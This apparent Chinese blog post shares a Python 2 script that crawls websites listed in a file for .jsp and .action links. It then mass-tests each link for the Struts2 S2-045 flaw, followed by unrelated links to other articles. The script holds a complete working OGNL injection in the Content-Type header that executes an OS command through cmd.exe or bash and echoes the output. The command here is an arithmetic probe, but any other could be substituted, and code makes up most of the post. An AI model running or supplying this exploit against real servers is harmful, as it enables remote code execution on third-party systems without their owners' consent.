1、概述都懒得写了。。。。

就是批量测试用的,什么工具里扣出来的POC,然后根据自己的理解写了个爬网站首页URL的代码。。。


#!/usr/bin/env python
# -*- coding: utf-8 -*- import requests
import random
import httplib
import re
import os
import sys #########################
## 作者:zzzzzhhhhhhh
## Code功能
## 1、批量获取指定网站的URL
## 2、批量验证Struts2-045漏洞
## BUG:121个左右根据网络状况会报错,清除已测试过的网址再测试就没啥问题。懵逼
########################### # 出现ChunkedEncodingError问题,更改为HTTP 1.0
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0' # 存放内容
http_URL = []
http_website = [] # 增加HTTP头部
def add_http(url):
if "http://" not in url:
url = 'http://' + url
return url # 爬行首页URL
def curl_Site_URL(url):
url = add_http(url)
website = url # 存储一下域名,路径碰路径
# 获取网页内容
try:
r = requests.get(url)
except requests.RequestException as e:
print "error website:"+url
return False
data = r.text
# 利用正则查找所有连接
link_list = re.findall(r"(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')", data)
for url in link_list:
filename = os.path.basename(url) # 取出文件名
(shotname, extension) = os.path.splitext(filename) # 取出文件后缀
if ((extension == ".jsp") or (extension == ".action")): # 指定后缀检测
if 'http://' not in url: # 检测是否有HTTP://
url = website + url
http_URL.append(url) # 读取到列表里或者写入文件中
else:
http_URL.append(url) ## 2、验证Stuts2漏洞
def poc(url):
url = add_http(url)
try:
a = random.randint(10000000, 20000000)
b = random.randint(10000000, 20000000)
c = a + b
win = 'set /a ' + str(a) + ' + ' + str(b)
linux = 'expr ' + str(a) + ' + ' + str(b)
header = dict()
header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + win + "'):(#cmd='" + linux + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
r = requests.post(url, headers=header, timeout=5)
if str(c) in r.text:
return '[S2-045 vul]'+url
else:
return False
except Exception:
return False # 读取文件函数
def read_file(file_path):
# 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
if not os.path.exists(file_path):
print 'Please confirm correct filepath !'
sys.exit(0)
else:
with open(file_path, 'r') as source:
for line in source:
http_website.append(line.rstrip('\r\n').rstrip('\n'))
# 批量读取
sum = 0
for website in http_website:
print website
curl_Site_URL(website) # 批量验证
for d in http_URL:
result = poc(d)
if result != False:
print result if __name__ == '__main__':
file_str=raw_input('Input file IP.txt filepath eg:D:\\\\test.txt \n')
read_file(file_str)
## C:\\Users\\AT\\Desktop\\domain.txt

代码特效

txt里保存网站地址就可以了,爬虫还需要后续学习优化、添加功能。。。

【Python】批量爬取网站URL测试Struts2-045漏洞的更多相关文章

  1. python 实现爬取网站下所有URL

    python3 实现爬取网站下所有URL 获取首页元素信息: 首页的URL链接获取: 遍历第一次返回的结果: 递归循环遍历: 全部代码如下: 小结: python3.6 requests && ...

  2. 从0实现python批量爬取p站插画

    一.本文编写缘由 很久没有写过爬虫,已经忘得差不多了.以爬取p站图片为着手点,进行爬虫复习与实践. 欢迎学习Python的小伙伴可以加我扣群86七06七945,大家一起学习讨论 二.获取网页源码 爬取 ...

  3. 用Python定时爬取网站最新资源

    记录一下. 写做个网站,爬了另一个网站的内容来做自己网站的内容. 把脚本挂到服务器,每隔一个小时去爬一次资源,然后保存到一个HTML文件里. 用flask做web对接,当有请求的时候就返回那个HTML ...

  4. Python:爬取网站图片并保存至本地

    Python:爬取网页图片并保存至本地 python3爬取网页中的图片到本地的过程如下: 1.爬取网页 2.获取图片地址 3.爬取图片内容并保存到本地 实例:爬取百度贴吧首页图片. 代码如下: imp ...

  5. Python脚本爬取网站美女照片

    上次无意之中看到一个网站,里面全是美女的照片,我就心想,哪天有时间了得把这网站的所有美女照片都得爬下来.今天有时间,写了点代码,爬去了网站的所有照片.附上战果!图片实在是太多了,爬半个多小时 先附上所 ...

  6. python 批量爬取四级成绩单

    使用本文爬取成绩大致有几个步骤:1.提取表格(或其他格式文件——含有姓名,身份证等信息)中的数据,为进行准考证爬取做准备.2.下载准考证文件并提取出准考证和姓名信息.3.根据得到信息进行数据分析和存储 ...

  7. 用Python批量爬取优质ip代理

    前言 有时候爬的次数太多时ip容易被禁,所以需要ip代理的帮助.今天爬的思路是:到云代理获取大量ip代理,逐个检测,将超时不可用的代理排除,留下优质的ip代理. 一.爬虫分析 首先看看今天要爬取的网址 ...

  8. python批量爬取动漫免费看!!

    实现效果 运行环境 IDE VS2019 Python3.7 Chrome.ChromeDriver Chrome和ChromeDriver的版本需要相互对应 先上代码,代码非常简短,包含空行也才50 ...

  9. Python批量爬取谷歌原图,2021年最新可用版

    文章目录 前言 一.环境配置 1.安装selenium 2.使用正确的谷歌浏览器驱动 二.使用步骤 1.加载chromedriver.exe 2.设置是否开启可视化界面 3.输入关键词.下载图片数.图 ...

随机推荐

  1. cygwin jdk11u

    cygwin jdk11u 安装 Cygwin64 下载地址 https://cygwin.com/setup-x86_64.exe Cygwin 国内源    中科大镜像源 http://mirro ...

  2. 【题解】 bzoj3450 JoyOI1952 Easy (期望dp)

    题面戳我 Solution 期望的题目真心不太会 定义状态\(f[i]\)表示到第\(i\)期望长度,\(dp[i]\)表示期望分数 如果上一步的持续\(o\)长度为\(L\),那么贡献是\(L^2\ ...

  3. springmvc源码解析MvcNamespaceHandler之<mvc:view-resolvers>

    说在前面 本次主要介绍springmvc配置解析. springmvc配置解析 本次介绍MvcNamespaceHandler. 进入到这个方法org.springframework.web.serv ...

  4. 修复VirtualBox "This kernel requires the following features not present on the CPU: pae Unable to boot – please use a kernel appropriate for your CPU"

    异常处理汇总-开发工具  http://www.cnblogs.com/dunitian/p/4522988.html 修复VirtualBox "This kernel requires ...

  5. 在Sqlite中通过Replace来实现插入和更新

      你可能在批量处理一个事务的时候,想要批量插入一系列的数据,但是这些数据当添加完一次之后,重新添加的时候,你不想要重新添加,只是想将原有的数据进行更新,例如:我想要通过Excel将一系列的图书导入到 ...

  6. eclipse index 不工作 F3 不能找到头文件

    To add paths containing code to parse, follow these steps :1. Right click on the project2. Select Pr ...

  7. B2C商城关键技术点总结(站内搜索、定时任务)

    1.站内搜索 1.1Lucene.Net建立信息索引 string indexPath = @"E:\xxx\xxx";//索引保存路径 FSDirectory directory ...

  8. 右值引用&&

    以下内容参考https://blog.csdn.net/china_jeffery/article/details/78520237 右值引用若不作为函数参数使用,基本等于滥用 右值引用 (Rvalu ...

  9. centos7 上配置Javaweb---MySQL的安装与配置、乱码解决

    上一篇谢了关于jdk和tomcat的安装.今天先更新一下有用的. 1. 不用关闭防火墙,把80端口添加进防火墙的开放端口. firewall-cmd --zone=public --add-port= ...

  10. springboot集成mybatis-generator时候遇到的问题

    今天在集成mybatis自动生成内容的时候,出现了几个问题,解决了一个小时才搞完,都怪之前没有好好研究研究: 1.mysql-connector-java新驱动带来的问题? 当用比较新的sql驱动的时 ...